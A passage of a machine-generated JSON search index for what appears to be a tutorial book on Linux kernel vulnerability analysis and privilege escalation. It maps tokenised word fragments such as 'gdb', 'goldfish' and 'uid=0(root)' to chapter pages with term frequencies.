":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"_":{"docs":{},"o":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"s":{"docs":{},"e":{"docs":{},"t":{"docs":{},"p":{"docs":{},"i":{"docs":{},"p":{"docs":{},"e":{"docs":{},"_":{"docs":{},"s":{"docs":{},"z":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}},"x":{"docs":{},"v":{"docs":{},"o":{"1":{"docs":{},"o":{"docs":{},"a":{"docs":{},"w":{"docs":{},"a":{"docs":{},"j":{"docs":{"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}}}}}},"docs":{}}}}},"g":{"0":{"5":{"5":{"1":{"docs":{},"a":{"4":{"docs":{},"b":{"docs":{},"e":{"2":{"docs":{},"c":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"docs":{}}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}},"b":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}},"+":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"d":{"docs":{},"b":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.019522776572668113},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.022813688212927757},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0028530670470756064},"chapters/gdb-macros.html":{"ref":"chapters/gdb-macros.html","tf":5.041666666666667}},")":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},".":{"docs":{},"s":{"docs":{},"e":{"docs":{},"l":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"o":{"docs":{},"r":{"docs":{},"(":{"docs":{},")":{"docs":{},".":{"docs":{},"w":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"r":{"docs":{},"y":{"docs":{},"(":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}},"t":{"docs":{},"u":{"docs":{},"b":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}}},"e":{"docs":{},"f":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},">":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.009505703422053232},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0016802016241949033}}}},"n":{"docs":{},"e":{"docs":{},"r":{"docs":{},"i":{"docs":{},"c":{"docs":{},"_":{"docs":{},"x":{"8":{"6":{"docs":{},"_":{"6":{"4":{"docs":{},":":{"docs":{},"/":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.015209125475285171},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},"/":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"a":{"docs":{},"l":{"docs":{},"/":{"docs":{},"t":{"docs":{},"m":{"docs":{},"p":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}}},"docs":{}},"docs":{}}},"/":{"docs":{},"a":{"docs":{},"t":{"docs":{},"o":{"docs":{},"m":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}}}}},"q":{"docs":{},"s":{"docs":{},"p":{"docs":{},"i":{"docs":{},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},".":{"docs":{},"h":{"docs":{},":":{"8":{"7":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002318840579710145}}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}}}},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.002282453637660485}},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"(":{"docs":{},"&":{"docs":{},"i":{"docs":{},"n":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"(":{"docs":{},"d":{"docs":{},"a":{"docs":{},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"n":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}},"e":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}},"a":{"docs":{},"t":{"docs":{},"t":{"docs":{},"r":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}},"i":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.00641025641025641},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.002898550724637681}}},"v":{"docs":{},"e":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"=":{"0":{"docs":{},"(":{"docs":{},"r":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"2":{"0":{"0":{"0":{"docs":{},"(":{"docs":{},"s":{"docs":{},"h":{"docs":{},"e":{"docs":{},"l":{"docs":{},"l":{"docs":{},")":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}},"n":{"docs":{},"u":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"o":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}},"l":{"docs":{},"d":{"docs":{},"f":{"docs":{},"i":{"docs":{},"s":{"docs":{},"h":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.008676789587852495},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.01282051282051282},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0034782608695652175},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"/":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}},"o":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"g":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}},"e":{"docs":{},"'":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"t":{"docs":{},"o":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}}}},"p":{"docs":{},"l":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"v":{"3":{"docs":{},"+":{"docs":{},":":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}},"docs":{}}}},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"g":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}},"a":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"e":{"docs":{},"r":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"s":{"docs":{},"=":{"0":{"docs":{},"(":{"docs":{},"r":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{},")":{"docs":{},",":{"1":{"0":{"0":{"4":{"docs":{},"(":{"docs":{},"i":{"docs":{},"n":{"docs":{},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{},")":{"docs":{},",":{"1":{"0":{"0":{"7":{"docs":{},"(":{"docs":{},"l":{"docs":{},"o":{"docs":{},"g":{"docs":{},")":{"docs":{},",":{"1":{"0":{"1":{"1":{"docs":{},"(":{"docs":{},"a":{"docs":{},"d":{"docs":{},"b":{"docs":{},")":{"docs":{},",":{"1":{"0":{"1":{"5":{"docs":{},"(":{"docs":{},"s":{"docs":{},"d":{"docs":{},"c":{"docs":{},"a":{"docs":{},"r":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"w":{"docs":{},")":{"docs":{},",":{"1":{"0":{"2":{"8":{"docs":{},"(":{"docs":{},"s":{"docs":{},"d":{"docs":{},"c":{"docs":{},"a":{"docs":{},"r":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"1":{"docs":{},"(":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"t":{"docs":{},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"m":{"docs":{},"i":{"docs":{},"n":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"2":{"docs":{},"(":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"t":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"3":{"docs":{},"(":{"docs":{},"i":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"6":{"docs":{},"(":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"w":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"s":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"9":{"docs":{},"(":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},")":{"docs":{},",":{"3":{"0":{"1":{"1":{"docs":{},"(":{"docs":{},"u":{"docs":{},"h":{"docs":{},"i":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}},"2":{"0":{"0":{"0":{"docs":{},"(":{"docs":{},"s":{"docs":{},"h":{"docs":{},"e":{"docs":{},"l":{"docs":{},"l":{"docs":{},")":{"docs":{},",":{"1":{"0":{"0":{"4":{"docs":{},"(":{"docs":{},"i":{"docs":{},"n":{"docs":{},"p":{"docs":{},"u":{"docs":{},"t":{"docs":{},")":{"docs":{},",":{"1":{"0":{"0":{"7":{"docs":{},"(":{"docs":{},"l":{"docs":{},"o":{"docs":{},"g":{"docs":{},")":{"docs":{},",":{"1":{"0":{"1":{"1":{"docs":{},"(":{"docs":{},"a":{"docs":{},"d":{"docs":{},"b":{"docs":{},")":{"docs":{},",":{"1":{"0":{"1":{"5":{"docs":{},"(":{"docs":{},"s":{"docs":{},"d":{"docs":{},"c":{"docs":{},"a":{"docs":{},"r":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},"w":{"docs":{},")":{"docs":{},",":{"1":{"0":{"2":{"8":{"docs":{},"(":{"docs":{},"s":{"docs":{},"d":{"docs":{},"c":{"docs":{},"a":{"docs":{},"r":{"docs":{},"d":{"docs":{},"_":{"docs":{},"r":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"1":{"docs":{},"(":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"t":{"docs":{},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"m":{"docs":{},"i":{"docs":{},"n":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"2":{"docs":{},"(":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"t":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"3":{"docs":{},"(":{"docs":{},"i":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"6":{"docs":{},"(":{"docs":{},"n":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"b":{"docs":{},"w":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"s":{"docs":{},")":{"docs":{},",":{"3":{"0":{"0":{"9":{"docs":{},"(":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"c":{"docs":{},")":{"docs":{},",":{"3":{"0":{"1":{"1":{"docs":{},"(":{"docs":{},"u":{"docs":{},"h":{"docs":{},"i":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}}}}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}}}}},"a":{"docs":{},"b":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},"p":{"docs":{},"h":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}}},"c":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"f":{"docs":{},"p":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},")":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}}}}},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"l":{"docs":{},"o":{"docs":{},"b":{"docs":{},"a":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}},"_":{"docs":{},"r":{"docs":{},"o":{"docs":{},"o":{"docs":{},"t":{"docs":{},"_":{"docs":{},"g":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}}}}}},"u":{"docs":{},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0017043033659991478}}}}}}}}}}}}}}}}},"t":{"docs":{},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"a":{"docs":{},"i":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}},"u":{"docs":{},"y":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"h":{"docs":{},"a":{"docs":{},"r":{"docs":{},"d":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"w":{"docs":{},"a":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"d":{"docs":{},"i":{"docs":{},"s":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"i":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"e":{"docs":{},"n":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"i":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"s":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"t":{"docs":{},"m":{"docs":{},"a":{"docs":{},"n":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"s":{"docs":{},"h":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"n":{"docs":{},"d":{"docs":{},"l":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"e":{"docs":{},"r":{"docs":{},"s":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"v":{"docs":{},"e":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"n":{"docs":{},"'":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"p":{"docs":{},"p":{"docs":{},"e":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0019971469329529245},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0019602352282273874}},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819}}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"s":{"docs":{},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}},"e":{"docs":{},"r":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.01282051282051282},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},":":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.